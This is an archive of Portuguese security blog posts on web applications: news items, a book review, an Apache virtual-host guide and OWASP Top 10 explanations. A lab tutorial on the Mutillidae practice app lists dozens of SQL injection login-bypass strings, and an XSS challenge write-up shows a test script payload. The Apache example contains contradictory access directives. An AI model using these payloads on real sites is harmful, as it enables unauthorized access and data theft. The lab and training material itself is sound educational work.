Mostrando postagens com marcador aplicações web. Mostrar todas as postagens
Mostrando postagens com marcador aplicações web. Mostrar todas as postagens

terça-feira, 22 de setembro de 2015

Olá pessoal!

Descobri recentemente uma ferramenta no mínimo curiosa.

A ferramenta em questão se chama Website-Watcher e seu objetivo é monitorar mudanças em sites. Ai você pode me perguntar, mas por quê vou querer monitorar mudanças em sites?

Os usos são muitos. Pode ser para substituir o RSS caso não goste dele, monitorar novos posts, novos tópicos em fóruns e listas de discussão, levantamento de informações, ou apenas monitorar por curiosidade.


Não sei vocês mas esta ferramenta vai me ajudar bastante. Já consegui pensar em certos usos para ela...

Esta ferramenta é paga mas tem um trial de 30 dias. Possivelmente existem ferramentas gratuitas que fazem a mesma coisa, e também não é algo tão complexo que não possa ser feito uma versão sua.

Caso queiram mais detalhes podem olhar aqui!

E era isso!

Até a próxima.

quinta-feira, 11 de junho de 2015

Boa tarde pessoal, venho aqui hoje explicar para vocês um pouco sobre expressões regulares , quero tirar algumas das dúvidas, pois muitos ainda tem muita dificuldade quando trabalham com isto , tanto em ambiente de servidores com htaccess ou quando estão trabalhando com programação PHP.

Estarei criando um pequeno post para vocês sobre este assunto , e desmistificar um pouco sobre o assunto.

As expressões regulares servem para uma infinidade de tarefas , é difícil trazer uma lista , pois elas são uteis sempre que você precisar validar um padrão de texto que pode ser uma variável como:

 Data, horário , número de IP, endereço de e-mail , endereço de internet , nome de usuario e senha , etc ...

E mais uma infinidade de outros padrões.

Expressões regulares são muito usados no ambiente de segurança da informação para identificar padrões de ataques por SQL , XSS ou alguma coisa do tipo , relacionado ao ambiente WEB.

Um exemplo prático:

Você tem uma lista diária de acesso de usuários que entraram em seu sistema, onde consta , em cada linha , o horário de acesso e o login do usuário, algo como:

04:10 ernesto
08:30 ricardo
10:32 patricia
14:59 gabriel
16:27 carla
22:23 marcelo

Como fazer para buscar automaticamente apenas os usuários que acessaram o sistema apenas no periodo da tarde?

Você tem várias opções, desde procurar uma a uma manualmente, ou criar um programa que compare os primeiros 5 caracteres de cada linha , criando uma comparação , mas falando de algo prático e rápido, com expressão regular isto seria apenas.

^1[2-8].

e o problema estaria resolvido.

No fim das contas as expressões regulares facilitam muito na agilidade de desenvolvimento e na segurança também , o que também ajuda na questão do processamento back-end do servidor o que deixa ele muito mais leve.


para não se aprolongar neste post , eu estarei dando continuação dele , explicando como funciona cada simbolo, e como criar expressões regulares de forma eficaz , melhorando assim o desempenho de servidores.

segunda-feira, 6 de outubro de 2014



Sinopse

O livro de maior sucesso de segurança retorna com uma nova edição completamente atualizado! Aplicações Web são a porta de entrada da maioria das organizações, pode-se ataca-las para conseguir alguma informação pessoal, executar transações fraudulentas, ou comprometer os usuários. Este livro prático foi completamente atualizado e revisado para passar as mais novas técnicas, passo a passo, para atacar e defender uma gama de aplicações web e serviços que ainda estão em plena evolução. Você vai explorar diversas novas tecnologias empregadas em aplicações web que apareceram desde a primeira edição e ver alguns dos novos ataques que foram desenvolvidos, principalmente do lado do cliente.

  • Revelamos como burlar as mais novas tecnologias e técnicas para defender as aplicações web contra esses ataques.
  • Discussões sobre os novos frameworks como por exemplo HTML5, técnicas de integração cross-domain, framebusting, Paramentros HTTP, redirecionamento de interfaces de usuário, ataques híbridos e muito mais.
  • Uma aplicação web vulnerável hospedada pelos autores para permitir que os leitores testem os ataques descritos, respostas para os questionários presentes no final de cada capitulo e com uma metodologia de rápido aprendizado.
Focado na área de segurança de aplicações web, principalmente onde as coisas mudaram nos últimos anos, este livro é o recurso mais recente para o aprendizado de descoberta, exploração e prevenção de falhas em aplicações web.

Traduzido e adaptado da Amazon


Review

Então, como muitos devem ter visto no grupo do Facebook da Brutal Security, eu recebi a alguns dias dois livros que comprei recentemente, um deles este que estou fazendo review. A sinopse afirma que veremos novas técnicas e muita prática. Isso é verdade, temos muita coisa nova, algumas até bem complexas de entender, mas o livro é muito bom e os capítulos são bons de ler, muito pouco daquele "tecniquês" cheio de termos e textos complexos. Mas não se preocupe, o livro também tem os clássicos SQLi, XSS e outros, para você que está começando ou tem uma noção. Sobre o livro ser todo prático não é bem assim, cerca de metade do livro (algo próximo de 500 páginas) é quase 100% teórico, o que não é uma coisa ruim, já que a idéia do livro é ensinar o leitor a entender, detectar, explorar e defender falhas em aplicações web. Se fosse só prático o livro formaria apenas utilizadores de ferramentas, o que é algo muito ruim, já temos muitos script kiddies por ai. :D

The Web Application Hacker's Handbook é bem focado, tendo um capítulo de muitas páginas para cada tipo de falha (são uns 12 capítulos), e como comentei antes, metade é teórico para o leitor entender porque aquilo acontece e como identificar, para poder detectar em todo tipo de caso, diferente dos tutoriais que temos na internet que mostram um caso isolado onde aquilo só funciona daquele modo, se um detalhe mudar, os "atacantes" não saberão o que fazer.

Outro ponto fenomenal do livro é a aplicação web que os autores disponibilizaram para os leitores. No livro, ao final da explicação de cada falha você verá uma URL para a aplicação vulnerável com a falha relacionada ao que você leu para poder testar as técnicas que aprendeu. O diferencial é a quantidade de variantes que eles possuem e a similaridade com a realidade. Claro, no início do livro as falhas são bem simples e bobas, você acha que no mundo real não é assim (as vezes é viu...), mas com o avanço no livro as técnicas vão ficando bem complexas, similar a o que temos hoje por ai em ecommerces e web banking. E uma última coisa, ao final de cada capítulo existe um questionário caso queira testar seus conhecimentos, as respostas das perguntas estão no mesmo site das falhas.

Finalizando, super recomendo esse livro. Já tinha ele em formato digital a muito tempo mas nunca tinha lido mais do que o primeiro capítulo, nunca tinha me chamado a atenção, até que fiquei completamente desconectado e sem o que fazer e encontrei ele na biblioteca da facul. Comecei a ler lá mesmo e cheguei na metade, foi o suficiente para comprar o livro para terminar de ler e ter em casa para consultas futuras. O livro é bom para pessoas que estão começando na área, pessoas que já tem um certo conhecimento e para o pessoal que já manja, mas quer dar uma atualizada nos conhecimentos.

Como de costume, segue o link para a Amazon. Aproveitando, o livro está com um precinho muito bom lá, em lojas do Brasil pode chegar (e até passar) de R$ 200,00 então corre lá!

terça-feira, 30 de setembro de 2014

Servidores web vulneráveis baseados nos sistemas Linux tem sido utilizados em botnets para ataques DDoS. A Akamai Technologies está alertando empresas para ameaças de alto risco ao Iptables e Iptablex nesses sistemas. Segundo o relatório da Akamai, a infestação em massa do Iptables e Iptablex parece estar sendo ocasionada por sistemas Linux desatualizados, comprometidos principalmente por exploits de Apache, Tomcat e Elasticsearch.

Atacantes tem utilizado as vulnerabilidades, presentes nos servidores que estão sem manutenção, para ganhar o acesso, escalando os privilégios de modo a obter controle remoto da máquina, e então instalar códigos maliciosos no sistema e executá-los. A indicação de que o sistema foi comprometido é a existência de um arquivo nomeado .Iptables ou. Iptablex localizado no diretório /boot.

O malware também possui um mecanismo de atualização, fazendo com que o sistema infectado tente contatar dois endereços IP localizados na Ásia. Segundo Stuart Scholly, membro da unidade de segurança da Akamai, os administradores de sistemas Linux precisam tomar conhecimento dessas vulnerabilidades para tomarem ações que protejam seus servidores.


Maiores informações através do link.

Fonte: SegInfo

segunda-feira, 10 de março de 2014

De acordo com relatório publicado pela Cenzic, 96% das aplicações testadas em 2013 possuíam uma ou mais vulnerabilidades de segurança. A mediana comparada ao ano anterior teve um aumento de 13 para 14 vulnerabilidades por aplicação.

Muitas destas vulnerabilidades encontradas são relativamente simples de serem detectadas, bloqueadas e corrigidas durante o ciclo de desenvolvimento por times de segurança.

No topo da lista de vulnerabilidades encontradas nas aplicações, testadas em 2013, está o XSS (Cross Site Scripting) com 25% do total das mais frequentes. Logo após encontra-se: Vazamento de informação (23%); Autenticação e autorização (15%); Gerenciamento de sessão (13%); Injeção de código SQL (7%).

Em relação aos aplicativos móveis, como existem mais dados disponíveis para dispositivos móveis, a importância da segurança de suas aplicações vem crescendo. Dentre as vulnerabilidades mais comuns encontradas em aplicações móveis, violação de privacidade e privilégios excessivos aparecem em mais de 80% das aplicações. Bala Venkat, CMO da Cenzic, afirmou que o crescimento de tecnologias emergentes e novas categorias de aplicativos – como a nuvem e aplicativos móveis – aumenta a complexidade do empenho em segurança.

Veja mais informações através do link.

Fonte: SegInfo

quinta-feira, 5 de dezembro de 2013

E ai galera!

Uma das coisas que mais me deixa indignado são as pessoas que saem de casa sem a mínima noção de para onde estão indo ou onde fica o local que tem que chegar. Normalmente esse tipo de pessoa é aquela que para todo mundo na rua para pedir informação ou fica ligando a cada 5 minutos pedindo informação de como chegar, e isso nem comentando de sair da cidade, tem muitas pessoas que fazem isso na própria cidade. Eu não moro numa cidade nem muito grande e nem muito pequena, não tão pequena para conhecer tudo e nem tão grande a ponto de se perder, mas vejo pessoas pedindo informação com uma frequência absurda.

Hoje em dia já temos muitos smartphones por ai, e até os mais mulambos e baratinhos tem nem que seja Google Maps. E mesmo assim se o seu não tem ou não tem nem smartphone tem no seu computador, e computador você tem (senão não estaria lendo esse post :P). Você pode muito bem imprimir sua rota do ponto A ao ponto B do Google Maps e levar junto para saber para onde ir. Como ninguém nunca pensa nisso?

Aproveitando o assunto, conheci esses dias o site MapCrunch em quanto comentava sobre esse problema de pessoas perdidas com alguns amigos. O site basicamente te joga em algum lugar aleatório do planeta pelo Google Street View. Aproveitei esse serviço com cara de meio inútil para testar uma coisa: é possível sair de um ponto A desconhecido para um ponto B conhecido apenas usando a tecnologia como guia?

E realmente é possível sim! Quando cliquei em "GO!" no site fui jogado no meio de uma cidadezinha minúscula do interior da Eslováquia. Depois de vagar pelas ruas por alguns minutos encontrei uma bandeira da união euuropéia, com isso pude afirmar que estava na Europa, e pesquisando um pouco no Google pelo idioma das placas e paisagens locais consegui descobrir que estava na Eslováquia mesmo. Passeando mais um pouco pela cidade descobri que estava próximo da capital Bratislava.

Tracei uma rota pelo Google Maps e fui seguindo ela pelo site até chegar lá. Assim que cheguei, procurei o aeroporto para "voltar para casa". Tudo isso desde o "GO!" até chegar no aeroporto da Bratislava levou algo em torno de 4 horas (obviamente se eu estivesse lá demoraria mais do que isso), mas a experiência foi válida.

É possível sair de um lugar totalmente estranho e chegar em algum lugar e vice-versa apenas dando uma pesquisada rápida, então tenho razão em ficar irritado com pessoas me parando toda hora para pedir informação.

Sugiro realizar esse teste no MapCrunch quando tiverem um tempinho de sobra.

quinta-feira, 24 de outubro de 2013

Recentemente um grupo hacker chamado "TeamBerserk" declarou no Twitter que roubou cerca de $ 100.000 dólares obtido através de usuários e senhas capturadas de um ISP californiano e usando essas informações para acessar as suas contas bancárias.

Um vídeo prova foi upado, mostrando como eles usaram SQL Injection contra o ISP para acessar o banco de dados que continha email, usuários e senhas em texto plano e usaram essas informações para roubar dinheiro dos clientes.

Vamos ver o que é SQL Injection e quão sério um ataque deste tipo pode ser. SQLi é uma vulnerabilidade encontrada em aplicações web onde o atacante pode injetar códigos SQL no banco e utilizar isso para acessar recursos internos. Usando esta técnica, hackers maliciosos podem determinar a estrutura do banco e comprometer e/ou baixar todos os dados dos servidores.



Eles levaram apenas 15 minutos para hackear o site com uma ferramenta chamada sqlmap, roubaram os dados e tiveram acesso imediato a contas de email, Paypal e internet banking.



É muito difícil lembrar de diversas senhas, por isso o que a maioria faz é usar a mesma em tudo. Sua senha do Facebook é a mesma do Twitter? E a do site do seu banco?

Agora já deve estar mais do que explicado porque esse tipo de falha é extremamente perigosa. No vídeo de prova de conceito, o atacante escolhei randomicamente um usuário e sua respectiva senha e tentou logar em diversos outros sites, entre eles PayPal, Gmail e CitiBank, e o mais impressionante é que ele conseguiu.



Agora que você já está ciente que ataques podem vir de qualquer lugar, não deixe isso acontecer, se você usa internet banking, compra pela internet, ou acessa outros dados sensíveis, o melhor a se fazer, pelo menos para dificultar é usar senhas difíceis e variadas para cada serviço.

Fonte: The Hacker News

quarta-feira, 25 de setembro de 2013


Segundo empresa de segurança, cibercriminosos estão aproveitando sucesso da reta final do seriado para espalhar golpes pelo Twitter.
O sucesso da série de TV “Breaking Bad”, que termina no próximo domingo, 29/9, tem sido usado por hackers para novos golpes na Internet, segundo a empresa de segurança Symantec.
De acordo com a companhia, cibercriminosos estão aproveitando a alta procura por novos episódios do seriado estrelado por Bryan Cranston para publicar links maliciosos disfarçados de episódios supostamente inéditos do seriado que venceu o Emmy no final de semana.
A forma mais usada por esses hackers para enganar usuários é desavisados é publicar links como se fossem de “Breaking Bad” nas chamadas listas de spam do Twitter, tendência do serviço de microblog. No caso da série, os criminosos finger ser fãs e publicam informações e suspostos conteúdos inéditos da atração do canal AMC.
Vale de ficar de olho nos seguintes conteúdos, que são os mais usados pelos fraudadores como “iscas”: supostos números inéditos das celebridades com prêmios como cartões de presentes, aparelhos mobile e games gratuitos ou nos já mencionados links para episódios inéditos.
Confira abaixo algumas dicas da Symantec para evitar golpes desse tipo no Twitter:
1.       Sempre verifique a procedência de um grupo fechado em redes sociais antes de fazer parte dele;
2.       Caso seja adicionado em uma lista de spam indesejada, reporte a ameaça na Central de Ajuda do Twitter;
3.       Suspeite de links que contém vídeos ou fotos inéditas dos seriados populares;
4.        Desconfie de arquivos de vídeo que pedem ações extras para serem visualizados. Geralmente, arquivos de vídeo podem ser assistidos a partir de qualquer visualizador de mídia.
5.       Sempre conte com um software de segurança original e atualizado em seu equipamento conectado à Internet. A solução protege os usuários em qualquer atividade que realizam na Web.

Fonte:  idgnow.uol

quinta-feira, 12 de setembro de 2013

Entre os dias 29 de outubro e 1º de novembro, programadores e desenvolvedores de todo o País vão se reunir na Câmara para criar aplicativos que aumentem a transparência na divulgação do trabalho parlamentar e colaborem para a melhoria do processo legislativo.

Para participar, é preciso apresentar um projeto de solução web que facilite o acesso às informações sobre a atividade legislativa e utilize os dados públicos para a promoção de um conhecimento mais aprofundado sobre a atuação do Congresso Nacional.

Interesse público

Serão selecionadas até 50 propostas consideradas mais criativas e alinhadas ao interesse público. Seus autores terão todas as despesas com passagem aérea, hospedagem, alimentação e traslado custeadas pela Câmara. Durante quatro dias, poderão desenvolver os aplicativos a partir dos dados disponíveis no portal da Câmara na internet e de outras bases públicas.

Uma comissão avaliadora formada por técnicos da Casa e por representantes da sociedade irá escolher os três grandes vencedores, que receberão, cada um, prêmio de R$ 5 mil, com patrocínio do Sindicato dos Servidores do Poder Legislativo Federal e do Tribunal de Contas da União (Sindilegis).

Inscrições

As inscrições estão abertas até o dia 20 de setembro. Podem participar programadores, desenvolvedores e inventores em geral. É preciso ser brasileiro e ter idade igual ou superior a 18 anos no momento da inscrição.

As propostas, que devem ser inscritas exclusivamente por meio de formulário disponível no portal da Câmara, podem ser assinadas individualmente ou por equipes de até três integrantes.

Fonte: Diário de Pernambuco



sexta-feira, 6 de setembro de 2013

NaoSalvo é o blog mais acessado e de um grande amigo, Maurício CID. Ele se tornou o melhor do Brasil pela versatilidade, constantes atualizações e desafios. Quem não lembra do desafio que o CID lançou pra derrubar o site do Web Security Forum, evento de segurança que realizei há 3 anos ?
Um simples pedido do cid derruba grandes portais, mas hoje, o portal dele que está com problemas.
A Google já lançou um aviso, via chrome, informando que o site do Não Salvo está com um Malware.
Screen Shot 2013-09-03 at 9.57.01 AM
 O interessante que tudo começou com os links do Facebook, daí, eu fiquei na dúvida “será que o problema está na publicação dos links do facebook, já que dá para fazer um phishing bonito ou no próprio blog do cid ?”
E como o time do Não Salvo resolveria este problema ?
Nada tão complicado. Vamos ao passos ***:
  1. Instalar uma ferramenta chamada httpwatch para pegar o caminho exato onde o malware está vindo
  2. Verificar o código infectado com o Malware, quer dizer, o código que faz o redirecionamento para o arquivo que causa a infecção
  3. Terceiro e não tão simples assim, fazer a varredura para descobrir como o código foi alterado. Mas eu tenho algumas suspeitas:
    1. Não atualização do WordPress, CMS que o CID Utiliza ou de algu plugin
    2. Alguém acesso o blog para fazer um post de algum lugar sem se preocupar com a segurança, aí já viu né, roubaram a senha e fizeram essa sacanagem.
Pessoal do Não Salvo, façam a instalação do plugin da empresa Suciri, o pago, no caso. Ele fará a varredura de todo o seu site/pastas, sabendo que é grande, encontrará o malware/código, o eliminará e também a vulnerabilidade que foi explorada, caso ela seja de código ou de configuração.
Fonte: Coruja de TI
OWASP TOP 10 2013 é um dos mais importantes documentos/guias sobre segurança focada em aplicações WEB. Leitura mais do que obrigatória para todos aqueles que desejam aprender mais sobre o assunto, por dois simples motivos:
Ele é didático e agora está em nossa língua.
Destaque para os pontos em que ele passa dicas para saber se vc está vulnerável, para como resolvê-la e exemplos de ataques.
A tradução para o português foi graças ao grupo de pesquisadores de nossa área. Já dei uma passada/lida no documento e posso dizer que ficou bem legal. Então aí vai o parabéns do pessoal do blog, mesmo sabendo que isso não vale muita coisa. :)
O download desta versão poderá ser realizado a partir do seguinte link.
Fonte: Coruja de TI

segunda-feira, 5 de agosto de 2013

Ao acessar qualquer site, há um servidor por trás daquele endereço responsável por disponibilizar as páginas e todos os demais recursos que você pode acessar. Assim, quando você envia um e-mail através de um formulário, coloca uma mensagem em um fórum de discussão, faz uma compra on-line, etc, um servidor Web é responsável por processar todas essas informações.

Bom vamos Criar um servidor web com o APACHE.

S.O - Ubuntu 12.10

Após instalado o S.O vá até o terminal com permissão de root, digite - apt-get update

Para atualizarmos o s.o.

após, execute o comando - sudo apt-get install php5 mysql-server apache2 
esse comando instala o PHP, MySQL e o APACHE.


após instalado vá até o browser e digite o ip do servidor - Ex. - http://ipdoservidor . 
Se aparecer a página "It Works" é que está tudo certo, não ocorreu nenhum problema durante o download.

Essa página aparece porque está dentro de /var/www/ que é o diretório de páginas, caso colocasse outra página dentro de /var/www/ iria abrir normalmente.


Cenário = Você é o responsável pela informática de sua empresa, e seu gestor pede para alojar mais de uma página no servidor web(apache) o que vc faria?
Bom para termos mais de uma página alojada em um servidor web, temos que configurar o apache para suportar Virtual Hosts.


Acessar o arquivo /etc/httpd/conf/httpd.conf - nele configuramos a porta que o APACHE irá funcionar.


CÓDIGO:
<VirtualHost *:80>
ServerAdmin mail@mail.com
DocumentRoot /var/www/root
<Directory "/var/www/root">
AllowOverride none
Require all denied
Satisfy Any
Allow from all
</Directory>
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" combined
CustomLog /var/www/logs/ROOT_log_acesso combined
</VirtualHost>




Essa opção diz ao apache que tem um host virtual a escuta na porta 80  que está no diretório /var/www/root

e que irá criar um log de acessos em /var/www/logs/


Quando se trata de virtual hosts normalmente gosto de definir um host "vazio" (que é o caso deste exemplo) ficando como default do servidor. Para adicionar mais hosts deverá replicar estas configurações acrescentando:



CÓDIGO:
ServerName seudominio.com
ServerAlias *.seudominio.com


Pronto isso faz com que o servidor responda a todos pedidos com o endereço do seu site e encaminhe para a pasta correta no servidor, então configuramos o nosso dominio para apontar para o nosso servidor.

 Blz pessoal tá ai minha contribuição...se puxem...

Duvidas podem retornar...

Flwsss


By - Sabotage 

terça-feira, 16 de julho de 2013

E ai pessoal!

Como eu comentei no post Introdução à Segurança da Informação - Parte 10, vou fazer uma subsérie de posts com algumas práticas para mostrar como funcionam as principais vulnerabilidades na visão da OWASP.

Antes de começar tenho que avisar que este é a lista de 2010 não esta nova de 2013, acho que as aplicações vulneráveis de teste ainda não atualizaram as mudanças, mas como é pouca a diferença podemos nos basear muito bem por aqui. Estou usando a aplicação de testes também da OWASP a Multillidae que tem uma boa base para quem está começando, com dicas nas páginas vulneráveis, e também para os mais experientes, pois essas ajudas e a complexidade da falha podem ser alteradas.

Como comentado no post anterior dessa série, quando se fala em injection vem logo a cabeça o SQL Injection. Como estamos falando de Introdução à Segurança da Informação, podemos começar por ele mesmo, vou mostrar aqui alguns modos de atacar um site por SQL Injection.

Eu já postei aqui um paper em várias partes chamado "Pentest em sites com Metasploit", que o objetivo era mostrar como era possível fazer um pentest completo em uma aplicação web apenas com o Metasploit, mas o motivo de estar citando aqui essa série é porque em algumas partes eu citei o sqlmap e até foi mostrado como usa-lo para atacar falhas de SQL Injection. Se você já tem um conhecimento prévio recomendo dar uma olhada lá, caso esteja realmente iniciando agora recomendo que guarde esse link para depois e continue sua leitura aqui neste post.

Vamos ver algo bem básico neste post sobre SQL Injection.

Basicamente, as vulnerabilidades de Injection acontecem quando você pode passar todas as proteções e mandar códigos para serem executados no servidor ou banco de dados. No nosso caso aqui, vamos mandar alguns códigos para o servidor na hora da verificação de autenticação que vai nos liberar acesso a uma área restrita do site, logar sem ter um usuário e senha.

Para facilitar a explicação, deixei na dificuldade mínima e dicas habilitadas.

Neste caso temos o formulário de login, um teste básico que podemos fazer é colocar um apóstrofo no campo e enviar e ver o que acontece. Em muitos casos onde ha a vulnerabilidade as saídas de erro não são tratadas corretamente e acabam aparecendo na página.


No caso de um site real vulnerável você receberia uma página em branco ou a mesma página com a mensagem "/owaspbwa/owaspbwa-svn/var/www/mutillidae/classes/MySQLHandler.php on line 108: Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1 () (0) [Exception] " aparecendo em algum lugar. As outras informações são as dicas do Mutillidae.

Para entendermos melhor como isso funciona, vamos observar a linha Diagnostic Information que contém o comando executado no banco de dados quando preenchemos os campos de login e senha.

Com um pouco de conhecimento em banco de dados SQL podemos ver que ele pega tudo da tabela accounts onde o usuário é ' (o apóstrofo que eu coloquei) e a senha é vazio. Se eu colocar qualquer coisa ali ele vai testar, ver que não encontrou nada igual no banco e retornar "false" que quer dizer que eu digitei o usuário ou senha errado. Neste caso eu obtive o erro porque a aplicação não soube lidar com o caractere que eu usei. Se você parar para notar, os conteúdos dos campos são delimitados pelos mesmos apóstrofos, com isso criei um conflito que misturou todo o comando e me retornou o erro. Isso quer dizer que, como ele aceitou numa boa um apóstrofo eu posso utilizá-lo para fechar o conteúdo do campo e continuar escrevendo o comando diretamente do formulário de login.

Vamos ao exemplo mais prático, o famoso ' or 1=1 --. Para os mais leigos, isso quer dizer que o comando que será executado no banco vai ser um pouco diferente, vejamos:

SELECT * FROM accounts WHERE username='' or 1=1 --' AND password='' or 1=1 --'

Com isso temos, pegue tudo da tabela accounts onde o usuário é vazio ou 1 é igual a 1 e a senha é vazio ou 1 é igual a 1 e ignore todo o resto (os dois traços). Lembram-se acima quando eu falei que o banco checaria e por não ter a combinação de usuário/senha ele retornaria "false"? E agora, o que você acha que ele vai retornar? "True"! Isso mesmo, por mais que ele não encontre as credenciais que eu passei ele sempre vai cair na verificação de que 1 é sempre igual a 1, por isso retorna "true" e nos autentica:



E ai está! Conseguimos os detalhes das contas cadastradas no site.

Mas não paramos por aqui, ainda temos algumas coisas a ressaltar. Não será em todos os casos que isso vai funcionar, os comandos variam com a linguagem que o banco de dados usa, veja abaixo algumas outras possibilidades:

b’ or ‘ 1=’
‘ or ’1
‘ or ‘|
‘ or ‘a’='a
‘ or ”=’
‘ or 1=1–
‘) or (‘a’='a
‘ or ’1′=’1
admin ‘ – -
‘ ou 0=0 –
“ou 0=0 –
ou 0=0 –
‘ ou 0=0 #
“ou 0=0 #
ou 0=0 #
‘ ou ‘ x’='x
“ou” x”=”x
‘) ou (‘ x’='x
‘ ou 1=1 –
“ou 1=1 –
ou 1=1 –
‘ ou a=a –
“ou” a”=”a
‘) ou (‘ a’='a
“) ou (“a”=”a
hi “ou” a”=”a
hi “ou 1=1 –
hi ‘ ou 1=1 –
hi ‘ ou ‘ a’='a
hi ‘) ou (‘ a’='a
hi”) ou (“a”=”a
‘ or ‘x’='x

Mas não pare por ai! Se nada der certo, procure forçar um erro para ter uma pista de qual banco de dados está sendo usado, com essa informação procure como que aquele banco em específico trata os comandos e entradas e use sua imaginação para bolar uma injeção de código. Nem sempre pegar o que já está pronto pode te ajudar.

Agora uma coisa muito interessante que poucos se preocupam em falar, como podemos proteger os sites de Injection? Mais simples do que você imagina, ou não depende da complexidade da sua aplicação. A regra mais importante aqui é "trate todo a entrada como maliciosa", com isso em mente você poderá prever todas ou boa parte das possibilidades. Avalie, filtre e trate antes de chegar ao banco de dados. Existem algumas funções já prontas, como o Magic Quotes por exemplo, que prometem filtrar esses parâmetros, não sou a melhor pessoa para falar sobre isso porque não sou programador, mas recomendo que procure mais sobre isso.

Não preciso comentar em manter sempre tudo atualizado e regularizado, isso pode não resolver, mas pode diminuir o estrago ou até mesmo diminuir a quantidade de informação vazada.

E para finalizar, um ultimo ponto que considero interessante é a utilização de um WAF (Web Application Firewall), que vai detectar essas ameaças e cortar a conexão antes que um dano maior ocorra, e um concelho, não mostre mais do que o necessário, trate todos os erros que sua aplicação pode gerar.

Eu fico por aqui depois desse longo post, espero que tenham entendido e gostado, porque querendo ou não tem pelo menos mais 9 desses vindo por ai :)

Também indico que baixem e testem o Multillidae, que tem várias situações para você tentar resolver que sem dúvida vão refinar seu conhecimento.

Bons estudos e até a próxima!

sábado, 13 de julho de 2013

E ai pessoal!

Esta semana eu participei da gravação do webinar da Clavis sobre OWASP Top 10 e como não poderia ser diferente, o próximo post do guia teria que ser sobre as principais vulnerabilidades de aplicações web.

Antes de mais nada, acredito que já saibam quem é a OWASP e o que é o OWASP Top 10 então não vou perder muito tempo com isso, se você não conhece absolutamente nada ou muito pouco sobre a OWASP ou sobre o Top 10 acesse o site da OWASP.

O Top 10 de mais conhecidas e exploradas vulnerabilidades de aplicações web teve uma atualização esse ano, mas pouca coisa mudou, alguns tópicos foram unidos, outros mudaram de posição e algumas novidades surgiram, mas apenas mudando a ordem, as ameaças "de sempre" continuam lá. Vamos ver elas uma a uma.

A1 - injection

Quando falamos de injection o que vem a cabeça é o famoso SQL Injection, mas não é só isso, injection é tudo que pode ser passado como parâmetro e uma aplicação vulnerável vai recebe-lo e será executada em algum lugar, como em um banco de dados, em sistemas como LDAP ou até mesmo na shell do sistema operacional. Isso quer dizer que o famoso SQL Injection é apenas uma das variantes desse tipo de ataque.

A2 - Broken Authentication and Session Management

Algumas aplicações que envolvem autenticação e gerenciamento de sessão normalmente não são implementadas corretamente permitindo que atacantes comprometam senhas, tokens e outras ferramentas de autenticação apenas manipulando URL's e alguns parâmetros, ou até mesmo elevando seus privilégios na aplicação para um ataque maior.


A3 – Cross-Site Scripting (XSS)

O XSS é basicamente um tipo de injeção, normalmente voltado ao usuário e seu browser específico, onde passando uma url com um código malicioso, ou de algum modo injetando isso para que quando a página seja carregada esse código seja carregado e infecte a vítima, ou mande seus dados de sessão para o atacante, ou fazendo um defacement no site, ou também enviando o usuário a um site malicioso.

A4 – Insecure Direct Object References

Uma referência dessas ocorre quando um desenvolvedor expõe uma referência a uma implementação de um objeto interno como um diretório, arquivo ou banco de dados. Sem um certo controle ou proteção, um atacante pode manipular essas referências e obter acesso não autorizado a estes arquivos.

A5 – Security Misconfiguration

Uma boa segurança requer ter uma aplicação bem configurada, tanto quanto frameworks, servidor, banco de dados, plataforma e tudo mais. Manter as configurações na instalação Default é normalmente inseguro. Manter softwares sempre atualizados é uma boa prática.

A6 – Sensitive Data Exposure

Muitas aplicações web não protegem de uma forma eficaz informações sensíveis, como número de cartão de crédito, CPF e credenciais. Atacantes mal intencionados podem roubar esses dados ou modifica-los para outros ataques, como engenharia social e roubo de identidade e outros. Esse tipo de informação necessita uma proteção extra como por exemplo uma boa criptografia e precaução quando são transmitidas com os browsers.

A7 – Missing Function Level Access Control

Boa parte das aplicações web atuais verificam todas as informações de permissão de acesso antes de torná-las visíveis em sua interface. Normalmente essas aplicações precisam fazer as mesmas verificações com o servidor, se essas requisições não forem verificadas e propriamente tratadas, os atacantes podem forjar requisições para tentar obter acesso não autorizado a certas informações.

A8 - Cross-Site Request Forgery (CSRF)

Um parente próximo do XSS, esse tipo de ataque força um usuário logado a mandar uma requisição HTTP e incluindo nela seu cookie e outras informações de autenticação para uma aplicação vulnerável. Isso permite que um usuário mal intencionado force o browser da vítima a gerar requisições em seu nome convencendo o servidor de que essas requisições são legítimas da vítima.

A9 - Using Components with Known Vulnerabilities

Basicamente é manter sua aplicação desatualizada, em uma versão com vulnerabilidades conhecidas e disponibilizadas publicamente. Normalmente essas aplicações rodam com todos os privilégios no sistema, se esta aplicação for explorada o atacante pode ter acesso total ao sistema em que a aplicação está rodando.

A10 – Unvalidated Redirects and Forwards

Aplicações web frequentemente redirecionam usuários para outras páginas e sites. Sem uma validação nesses dados de redirecionamento, pode-se redirecionar uma vítima para uma página com malware ou phishing, ou acessar conteúdo não autorizado.


Isto é uma explicação básica da atualização deste ano do OWASP Top 10. Nos próximos posts dessa série vamos ver na prática alguns exemplos de cada uma dessas categorias. Assim que o webinar for disponibilizado pela Clavis eu atualizo este post com o vídeo ou o link.

Até lá!


EDIT: Segue ai o vídeo do Webinar da Clavis.


quinta-feira, 11 de julho de 2013

Estou praticando a alguns dias minhas habilidades de segurança em geral no projeto Hacking-Lab da OWASP. Já postei aqui sobre esse projeto, ele está cada vez maior, com mais desafios e cada vez com mais empresas olhando. Recomendo a todos que criem uma conta, estudem pelos links disponibilizados nos próprios desafios e tente resolver os desafios. Já houve casos de contratação por empresas gigantescas através dos resultados no site.

Hoje resolvi o desafio de XSS na categoria OWASP Top 10, e tive que aprender algumas coisinhas para que tudo funcionasse, veja aqui algumas dicas (sim, não vou entregar tudo se não entrego a resposta do desafio :D ) que tive que aprender para resolver o desafio: 

Vamos pular a parte de baixar e configurar todo o lab, se vire com isso :)

O objetivo do desafio é que eu consiga postar nos comentários de um site específico deles um código malicioso que capture e envie para um site meu os cookies de todos os usuários autenticados que abrirem a página de comentários.

Antes de mais nada eu precisava descobrir algum lugar que fosse vulnerável a XSS, nas dicas do site tinha que eu deveria comprar uns sinos para vacas personalizados (sim o site é um e-commerce disso) para poder ver a área de comentários. Após colocar alguns sinos no carrinho finalizei a compra (com um cartão e usuários fictícios) tive acesso a área de comentários. Fiz então o que qualquer um faria, testar se o campo era vulnerável, colocando um código javascript no comentário e obtive a resposta de que o comentário só poderia conter letras, números, pontos e vírgulas, então meu código não iria funcionar. O código que eu usei foi o seguinte:

< script>alert("teste XSS")</ script>

